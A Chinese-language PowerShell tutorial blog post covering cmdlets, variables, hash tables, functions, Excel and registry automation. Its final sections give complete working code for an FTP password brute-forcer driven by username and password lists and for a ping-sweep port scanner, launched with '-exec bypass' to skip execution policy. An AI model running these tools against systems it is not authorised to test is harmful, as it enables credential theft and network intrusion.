标签:清除 png star cache ble logic 执行 ++ ftp
cmdlets
cmdlets
是Powershell的内部命令,cmdlet
的类型名为System.Management.Automation.CmdletInfo
,在网上我找到了其中文说明,再用到的时候可以查找cmdlet
的名称由一个动词和一个名词组成,功能一目了然,但长度却过长。这时我们就需要用到“别名”了!Powershell内部也实现了很多常用命令的别名。例如Get-ChildItem
,列出当前的子文件或目录。它有两个别名:ls
和dir
,这两个别名来源于unix的shell和windows的cmd。Get-Alias -name 别名
查询别名所指的真实cmdlet命令ls alias:
或Get-Alias
ls alias: | Group-Object definition | sort -Descending Count
&
开头的,剩余字符可以是数字、字母、下划线的任意字符,且不区分大小写。=
,其几乎可以把任何数据赋值给一个变量[变量类型]$变量名
$array = 1,2,3,4
$array = 1..4
$array=1,"2017",([System.Guid]::NewGuid()),(get-date)
$a=@() # 空数组
$a=,"1" # 一个元素的数组
$array[0]
$test -is [array]
$books += "元素4"
[int[]] $nums=@()
$stu=@{ Name = "小明";Age="12";sex="man" }
$stu["Name"]
访问对应Name
的值$stu=@{ Name = "小明";Age="12";sex="男";Books="三国演义","围城","哈姆雷特" }
哈希表的插入与删除:
$Student=@{}
$Student.Name="hahaha"
$stu.Remove("Name")
-eq
:等于-ne
:不等于-gt
:大于-ge
:大于等于-lt
:小于-le
:小于等于-contains
:包含-notcontains
:不包含-and
:和-or
:或-xor
:异或-not
:逆if-else
语句
if(条件满足){
如果条件满足就执行代码
}
else
{
如果条件不满足
}
循环语句while
while($n -gt 0){
code
}
函数的结构由三部分组成:函数名,参数,函数体
Function FuncName (args[])
{
code;
}
del Function:函数名
万能参数:给一个函数定义参数最简单的是使用$args
这个内置的参数。它可以识别任意个参数。尤其适用哪些参数可有可无的函数。$args
是一个数组类型。
function sayHello
{
if($args.Count -eq 0)
{
"No argument!"
}
else
{
$args | foreach {"Hello,$($_)"}
}
}
sayHello
sayHello LiLi
sayHello LiLi Lucy Tom
设置参数名称并定义默认值
function StringContact($str1="moss",$str2="fly")
{
return $str1+$str2
}
Return
语句
return
语句指定具体的我返回值。Return
语句会将指定的值返回,同时也会中断函数的执行,return
后面的语句会被忽略。Try{
$connection.open()
$success = $true
}Catch{
$success = $false
}
Function:PSDrive
虚拟驱动器查看Clear-Host
:清除屏幕的缓存help,man
:查看命令的帮助文档mkdir,md
:通过new-Item
创建子目录more
:分屏输出管道结果prompt
:返回提示文本TabExpansion
:Tab键的自动完成提示X
:调用Set-Location
定位到指定的驱动器根目录.ps1
后缀即可。.\路径\文件名
ls
获取当前目录的所有文件信息,然后通过Sort -Descending
对文件信息按照Name
降序排列,最后将排序好的文件的Name
和Mode
格式化成Table
输出>
为覆盖,>>
为追加。$excel.Visible=$true
$workbook = $excel.Workbooks.Open("XXX.xlsx")
$workbook = $excel.Workbooks.Add()
$worksheet = $workbook.Worksheets.Item(1)
$workbook.SaveAs("D:\Desktop\hello.xlsx")
打印九九乘法表
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 9; $i++) {
# 第一行
$worksheet.Cells.item(1, $i + 1) = $i
# 第一列
$worksheet.Cells.item($i + 1, 1) = $i
# 它们的乘积
for ($j = 1; $j -le 9; $j++) {
$worksheet.Cells.item($i + 1, $j + 1) = $i * $j
}
}
读取一个Excel表格中的数据
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 10; $i++) {
for ($j = 1; $j -le 10; $j++) {
Write-Host -NoNewline $worksheet.Cells.item($i, $j).Text "`t"
}
Write-Host
}
里面的`t是PowerShell中的制表符,每个数据之间使用制表符来分隔;write-host为写到控制台,-NoNewline表示显示在控制台的信息不以换行结尾。
Set-Location
:别名cd
,切换工作目录。Get-Location
:别名pwd
,获取当前工作目录。Get-ChildItem
:获取当前目录下的所有文件。Get-Item
:获取给定文件的信息。Get-Command -Noun item
:查看所有文件操作的命令。Get-Item .\名称.lnk
(因为基本为快捷方式所以需要lnk后缀)Set-Location ‘HKCU:\Control Panel\Desktop\MuiCached‘
Get-Item .
Get-ItemProperty . MachinePreferredUILanguages
$path = "HKCU:\Control Panel\Desktop"
New-Item –Path $path –Name HelloKey
Set-ItemProperty -path $path\hellokey -name Fake -Value fuck
Remove-ItemProperty -path $path\hellokey -name Fake
Remove-Item -path $path\hellokey -Recurse
Get-WmiObject win32_logicaldisk | ?{$_.DeviceID -like "C:"}
Get-WmiObject -computername localhost -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
现在将其写入一个脚本,我们可以使用ctrl+J
看到脚本大概的格式并运用,内容如下:
<#
.Synopsis
This is for diskinfo
.DESCRIPTION
This is for remote computer
.EXAMPLE
diskinfo -computername remote
#>
function Get-diskinfo
{
[CmdletBinding()]
Param
(
# Param 帮助描述
[Parameter(Mandatory=$true)]
[string[]]$ComputerName,
$bogus
)
Get-WmiObject -computername $ComputerName -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
}
.\Diskinfo.ps1
,通过Get-help Diskinfo -full
查看使用解释等等. .\Diskinfo.ps1
get-diskinfo -ComputerName localhost
ftp://IP地址
会提示输入用户名和密码修改脚本,内容如下:
function Invoke-BruteForce
{
[CmdletBinding()] Param(
[Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
[Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
[String]
$ComputerName,
[Parameter(Position = 1, Mandatory = $true, ValueFromPipeline=$true)]
[Alias('Users')]
[String]
$UserList,
[Parameter(Position = 2, Mandatory = $true)]
[Alias('Passwords')]
[String]
$PasswordList,
[Parameter(Position = 3, Mandatory = $true)] [ValidateSet("SQL","FTP","ActiveDirectory","LocalAccounts","Web")]
[String]
$Service = "FTP",
[Parameter(Position = 4, Mandatory = $false)]
[Switch]
$StopOnSuccess,
[Parameter(Position = 6, Mandatory = $false)]
[UInt32]
$Delay = 0
)
Process
{
# Write-Verbose用于打印详细信息
Write-Verbose "Starting Brute-Force and Delay is $Delay."
# 获取用户名与密码字典
$usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
$passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
if (!$usernames) {
$usernames = $UserList
Write-Verbose "UserList file does not exist."
Write-Verbose $usernames
}
if (!$passwords) {
$passwords = $PasswordList
Write-Verbose "PasswordList file does not exist."
Write-Verbose $passwords
}
# Brute Force FTP
if ($service -eq "FTP")
{
# 机器名的处理:若ftp://开始直接获取名字,若没有直接加上
if($ComputerName -notMatch "^ftp://")
{
$source = "ftp://" + $ComputerName
}
else
{
$source = $ComputerName
}
Write-Output "Brute Forcing FTP on $ComputerName"
:UsernameLoop foreach ($username in $usernames)
{
foreach ($Password in $Passwords)
{
try
{
# 调用.net中的FTP库进行连接
$ftpRequest = [System.Net.FtpWebRequest]::Create($source)
$ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
# 通过Verbose输出的信息
Write-Verbose "Trying $userName : $password"
# 进行认证连接
$ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
# 获取返回信息
$result = $ftpRequest.GetResponse()
$message = $result.BannerMessage + $result.WelcomeMessage
# 打印信息到控制台
Write-Output "Match $username : $Password"
$success = $true
# 判断是否要得到结果立刻退出
if ($StopOnSuccess)
{
break UsernameLoop
}
}
catch
{
$message = $error[0].ToString()
$success = $false
}
# 延时爆破
Start-Sleep -Seconds $Delay
}
}
}
}
}
阅读相关手册对一些参数进行解读
属性名 | 可选参数值 | 属性说明
---|---|--
CmdletBinding类 | | 定义PowerShell的行为
Parameter类 | | 定义的参数为静态参数
Mandatory | $True, $False | 指定参数是否是必要参数,强制用户输入
Position | 整数 | 指定参数位置,如果用户没有指定具体参数名称,那么PowerShell将根据该值按序填充相应的参数
ValueFromPipeline | $True, $False | 是否接受来自管道中的值
Alias | 字符串 | 指定参数的另一个名称
ValidateSet | 集合 | 检验参数值是否在指定的属性集合中
ErrorAction | | 抑制内置的错误消息,将ErrorAction设置为“SilentlyContinue”,错误信息就不会输出了
. .\ps.ps1
Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftp
powershell –exec bypass –Command "& {Import-Module ‘C:\Users\zyx\Desktop\ps.ps1‘;Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftp }"
结果
CmdletBinding
的方法,来设置参数的形式端口扫描调用.NET的Socket来进行端口连接,如果连接建立代表端口连接成功
function PortScan {
[CmdletBinding()] Param(
[parameter(Mandatory = $true, Position = 0)]
[ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
[string]
$StartAddress,
[parameter(Mandatory = $true, Position = 1)]
[ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
[string]
$EndAddress,
[switch]
$GetHost,
[switch]
$ScanPort,
[int[]]
$Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030),
[int]
$TimeOut = 100
)
Begin {
# 开始之前先调用Ping组件
$ping = New-Object System.Net.Networkinformation.Ping
}
Process {
# 四层循环获取解析IP地址
foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
# write-progress用于在shell界面显示一个进度条
write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
# 通过Ping命令发送ICMP包探测主机是否存活
$pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
if($pingStatus.Status -eq "Success") {
if($GetHost) {
# 本分支主要解决主机名的问题
# write-progress用于在shell界面显示一个进度条
write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1
# 获取主机名
$getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
}
if($ScanPort) {
# 定义一个开放的端口数组, 存储开放的端口
$openPorts = @()
for($i = 1; $i -le $ports.Count;$i++) {
$port = $Ports[($i-1)]
# write-progress用于在shell界面显示一个进度条
write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
# 定义一个Tcp的客户端
$client = New-Object System.Net.Sockets.TcpClient
# 开始连接
$beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
if($client.Connected) {
# 加入开放的端口
$openPorts += $port
} else {
# 等待, 这里用于网络延迟, 防止因为网络原因而没有判断到端口的开放而错失很多机会
Start-Sleep -Milli $TimeOut
if($client.Connected) {
$openPorts += $port
}
}
$client.Close()
}
}
if($GetHost) {
# 获取主机名
$hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
}
# 返回对象-哈希表
New-Object PSObject -Property @{
IPAddress = "$a.$b.$c.$d";
HostName = $hostName;
Ports = $openPorts
} | Select-Object IPAddress, HostName, Ports
}
}
}
}
}
}
}
. .\PortSan.ps1
PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort
powershell –exec bypass –Command "& {Import-Module ‘C:\Users\zyx\Desktop\PortScan.ps1‘;PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort }"
扫描结果
参考资料
标签:清除 png star cache ble logic 执行 ++ ftp
原文地址:https://www.cnblogs.com/besty-zyx/p/11044702.html